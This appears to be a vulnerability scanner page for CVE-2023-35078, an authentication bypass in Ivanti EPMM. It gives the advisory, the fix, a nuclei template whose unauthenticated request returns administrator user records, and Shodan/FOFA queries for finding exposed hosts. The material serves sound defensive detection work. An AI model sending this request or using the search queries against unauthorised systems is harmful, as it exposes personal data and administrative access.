Ivanti Endpoint Manager Mobile (EPMM) - Authentication Bypass

Exploited in the wild. Listed by CISA on 2023-07-25; known to be used by ransomware.

criticalseverity

9.8CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Ivanti Endpoint Manager Mobile (EPMM), formerly MobileIron Core, through 11.10 allows remote attackers to obtain PII, add an administrative account, and change the configuration because of an authentication bypass, as exploited in the wild in July 2023. A patch is available.

Impact

Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the affected system.

Fix

Apply the latest security patches or updates provided by Ivanti to fix the authentication bypass vulnerability in Endpoint Manager Mobile (EPMM).

How to confirm it

Send: GET {{BaseURL}}/mifs/aad/api/v2/admins/users
Positive when: contains_all(body, 'results','userId','name') and contains(header, 'application/json') and status_code == 200

Run it with nuclei: nuclei -id CVE-2023-35078 -u <target>

The full check

id: CVE-2023-35078

info:
  name: Ivanti Endpoint Manager Mobile (EPMM) - Authentication Bypass
  author: parth,pdresearch
  severity: critical
  description: Ivanti Endpoint Manager Mobile (EPMM), formerly MobileIron Core, through 11.10 allows remote attackers to obtain PII, add an administrative account, and change the configuration because of an authentication bypass, as exploited in the wild in July 2023. A patch is available.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the affected system.
  remediation: |
    Apply the latest security patches or updates provided by Ivanti to fix the authentication bypass vulnerability in Endpoint Manager Mobile (EPMM).
  reference:
    - https://forums.ivanti.com/s/article/CVE-2023-35078-Remote-unauthenticated-API-access-vulnerability
    - https://forums.ivanti.com/s/article/KB-Remote-unauthenticated-API-access-vulnerability-CVE-2023-35078
    - https://www.cisa.gov/news-events/alerts/2023/07/24/ivanti-releases-security-updates-endpoint-manager-mobile-epmm-cve-2023-35078
    - https://www.ivanti.com/blog/cve-2023-35078-new-ivanti-epmm-vulnerability
    - https://help.ivanti.com/mi/help/en_us/CORE/11.2.0.0/dmgw/DMGfiles/Join_Azure_and_MobileIro.htm
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-35078
    cwe-id: CWE-287
    epss-score: 0.99999
    epss-percentile: 0.99998
    cpe: cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ivanti
    product: endpoint_manager_mobile
    shodan-query:
      - http.favicon.hash:362091310
      - http.favicon.hash:"362091310"
    fofa-query: icon_hash="362091310"
  tags: cve,cve2023,kev,ivanti,mobileiron,epmm,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/mifs/aad/api/v2/admins/users"

    max-size: 100
    matchers:
      - type: dsl
        dsl:
          - contains_all(body, 'results','userId','name')
          - contains(header, 'application/json')
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from